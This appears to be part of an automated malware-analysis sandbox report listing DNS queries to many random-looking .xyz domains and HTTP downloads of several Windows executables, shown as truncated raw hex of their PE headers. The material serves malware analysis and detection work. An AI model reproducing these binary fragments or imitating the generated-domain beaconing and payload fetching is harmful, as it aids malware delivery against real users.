Source:	DNS query: ecucwceswgqiscai.xyz
Source:	DNS query: ggeguiacmksquiwq.xyz
Source:	DNS query: ikecgokgwsysscqe.xyz
Source:	DNS query: ausmoiqykiskemym.xyz
Source:	DNS query: ausmoiqykiskemym.xyz
Source:	DNS query: koaywyekuqqeyyww.xyz
Source:	DNS query: auegquiusggyykii.xyz
Source:	DNS query: seaamokeuaweaima.xyz
Source:	DNS query: wmyekoqqyyqyoqgu.xyz
Source:	DNS query: wmyekoqqyyqyoqgu.xyz
Source:	DNS query: wmyekoqqyyqyoqgu.xyz
Source:	DNS query: yqaouccmkggsweqk.xyz
Source:	DNS query: yqaouccmkggsweqk.xyz
Source:	DNS query: uiggiccuoaayaqec.xyz
Source:	DNS query: qamcsicuaqsaaqyw.xyz
Source:	DNS query: qamcsicuaqsaaqyw.xyz
Source:	DNS query: qamcsicuaqsaaqyw.xyz
Source:	DNS query: wmeqmmsqaiaayumg.xyz
Source:	DNS query: ggkswqokuuisecci.xyz
Source:	DNS query: owswomyokkgkyayg.xyz
Source:	DNS query: owswomyokkgkyayg.xyz
Source:	DNS query: owswomyokkgkyayg.xyz
Source:	DNS query: uiqyyqqcscaiaska.xyz
Source:	DNS query: uiqyyqqcscaiaska.xyz
Source:	DNS query: uiqyyqqcscaiaska.xyz
Source:	DNS query: uiuqygeuogieacgw.xyz
Source:	DNS query: yqqeqcygyguuwwkk.xyz
Source:	DNS query: yqqeqcygyguuwwkk.xyz
Source:	DNS query: qacmygkcsgcsysmm.xyz
Source:	DNS query: owiquiwokycswmmw.xyz
Source:	DNS query: ggyyqmymikikcsew.xyz
Source:	DNS query: ggyyqmymikikcsew.xyz
Source:	DNS query: ggyyqmymikikcsew.xyz
Source:	DNS query: ecyuqucgyqyqeiqg.xyz
Source:	DNS query: koswyyuqiksguuke.xyz
Source:	DNS query: koswyyuqiksguuke.xyz
Source:	DNS query: ggqmywegmoqyygiy.xyz
Source:	DNS query: yqgckwiqkcgeygak.xyz
Source:	DNS query: wmwukkaseiecomsm.xyz
Source:	DNS query: wmwukkaseiecomsm.xyz
Source:	DNS query: cyigqcqwogwqismi.xyz
Source:	DNS query: cyigqcqwogwqismi.xyz
Source:	DNS query: cyigqcqwogwqismi.xyz
Source:	DNS query: ggqqcmcysoceqeik.xyz
Source:	DNS query: ggqqcmcysoceqeik.xyz
Source:	DNS query: ggqqcmcysoceqeik.xyz
Source:	DNS query: ggsquueekuimuask.xyz
Source:	DNS query: wmykwaogosecqomu.xyz
Source:	DNS query: wmykwaogosecqomu.xyz
Source:	DNS query: uiuyeseyiukqqkqa.xyz
Source:	DNS query: msuqawwecqeaciwy.xyz
Source:	DNS query: msuqawwecqeaciwy.xyz
Source:	DNS query: cyqakwwoewksakei.xyz

Source: unknown

Network traffic detected: DNS query count 65

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:09 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:17 GMTContent-Type: application/octet-streamContent-Length: 920064Last-Modified: Wed, 11 Dec 2024 15:27:04 GMTConnection: keep-aliveETag: "6759af48-e0a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f2 97 58 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 4a 1f 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 98 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 9e 00 00 00 40 0d 00 00 a0 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 94 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:24 GMTContent-Type: application/octet-streamContent-Length: 3917896Last-Modified: Thu, 12 Dec 2024 10:49:11 GMTConnection: keep-aliveETag: "675abfa7-3bc848"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bc b5 5a 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 21 00 c6 30 00 00 98 00 00 00 00 00 00 cc 9b 03 00 00 10 00 00 00 e0 30 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 3b 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 3b 00 34 05 00 00 00 30 3b 00 60 96 00 00 00 00 00 00 00 00 00 00 00 98 3b 00 48 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 24 3b 00 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 c6 30 00 00 10 00 00 00 c6 30 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 72 64 61 74 61 00 00 00 2c 0a 00 00 e0 30 00 00 2c 0a 00 00 ca 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 2e 64 61 74 61 00 00 00 00 04 00 00 00 10 3b 00 00 04 00 00 00 f6 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 2e 69 64 61 74 61 00 00 00 10 00 00 00 20 3b 00 00 06 00 00 00 fa 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 2e 72 73 72 63 00 00 00 60 96 00 00 00 30 3b 00 00 98 00 00 00 00 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:36 GMTContent-Type: application/octet-streamContent-Length: 1967616Last-Modified: Thu, 12 Dec 2024 12:10:59 GMTConnection: keep-aliveETag: "675ad2d3-1e0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 21 4a f8 9d 40 24 ab 9d 40 24 ab 9d 40 24 ab 83 12 a0 ab 81 40 24 ab 83 12 b1 ab 89 40 24 ab 83 12 a7 ab c5 40 24 ab ba 86 5f ab 94 40 24 ab 9d 40 25 ab f6 40 24 ab 83 12 ae ab 9c 40 24 ab 83 12 b0 ab 9c 40 24 ab 83 12 b5 ab 9c 40 24 ab 52 69 63 68 9d 40 24 ab 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 0c de dd 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 b0 01 00 00 00 00 00 00 a0 86 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 86 00 00 04 00 00 49 ce 1e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5a 10 42 00 6e 00 00 00 00 e0 40 00 68 21 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 d2 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 40 00 00 10 00 00 00 54 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 68 21 01 00 00 e0 40 00 00 94 00 00 00 64 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 42 00 00 02 00 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 20 42 00 00 02 00 00 00 fa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6b 6e 70 6c 72 6a 68 00 f0 1a 00 00 a0 6b 00 00 e2 1a 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 70 6b 70 76 77 67 72 00 10 00 00 00 90 86 00 00 06 00 00 00 de 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 86 00 00 22 00 00 00 e4 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:50 GMTContent-Type: application/octet-streamContent-Length: 393728Last-Modified: Thu, 12 Dec 2024 07:55:00 GMTConnection: keep-aliveETag: "675a96d4-60200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d8 27 f3 e3 9c 46 9d b0 9c 46 9d b0 9c 46 9d b0 82 14 08 b0 85 46 9d b0 82 14 1e b0 e0 46 9d b0 82 14 19 b0 b6 46 9d b0 bb 80 e6 b0 95 46 9d b0 9c 46 9c b0 18 46 9d b0 82 14 17 b0 9d 46 9d b0 82 14 09 b0 9d 46 9d b0 82 14 0c b0 9d 46 9d b0 52 69 63 68 9c 46 9d b0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c 66 a7 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 62 05 00 00 04 01 00 00 00 00 00 8f 51 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 b0 24 00 00 04 00 00 d1 cf 06 00 02 00 00 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 67 05 00 64 00 00 00 00 30 06 00 98 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 2d 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 61 05 00 00 10 00 00 00 62 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ab 00 00 00 80 05 00 00 60 00 00 00 66 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 7a 1e 00 00 30 06 00 00 3c 00 00 00 c6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:26:58 GMTContent-Type: application/octet-streamContent-Length: 2660864Last-Modified: Tue, 10 Dec 2024 07:14:44 GMTConnection: keep-aliveETag: "6757ea64-289a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ed d3 a7 12 a9 b2 c9 41 a9 b2 c9 41 a9 b2 c9 41 e2 ca ca 40 a3 b2 c9 41 e2 ca cc 40 27 b2 c9 41 e2 ca cd 40 bd b2 c9 41 b8 34 ca 40 bd b2 c9 41 b8 34 cd 40 bb b2 c9 41 b8 34 cc 40 8f b2 c9 41 e2 ca c8 40 aa b2 c9 41 a9 b2 c8 41 fa b2 c9 41 2a 34 c1 40 a8 b2 c9 41 2a 34 36 41 a8 b2 c9 41 2a 34 cb 40 a8 b2 c9 41 52 69 63 68 a9 b2 c9 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 85 59 56 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 b0 24 00 00 f2 03 00 00 00 00 00 c9 01 24 00 00 10 00 00 00 c0 24 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 28 00 00 04 00 00 64 6d 29 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 18 25 00 28 00 00 00 00 40 25 00 25 fb 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 28 00 1c 7f 00 00 80 0d 25 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0c 25 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 24 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 32 af 24 00 00 10 00 00 00 b0 24 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f2 5e 00 00 00 c0 24 00 00 60 00 00 00 b4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 14 00 00 00 20 25 00 00 0a 00 00 00 14 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 25 fb 02 00 00 40 25 00 00 fc 02 00 00 1e 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 7f 00 00 00 40 28 00 00 80 00 00 00 1a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 12 Dec 2024 13:27:09 GMTContent-Type: application/octet-streamContent-Length: 965632Last-Modified: Thu, 12 Dec 2024 13:17:59 GMTConnection: keep-aliveETag: "675ae287-ebc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7f e2 5a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 0f 00 00 04 00 00 92 4b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 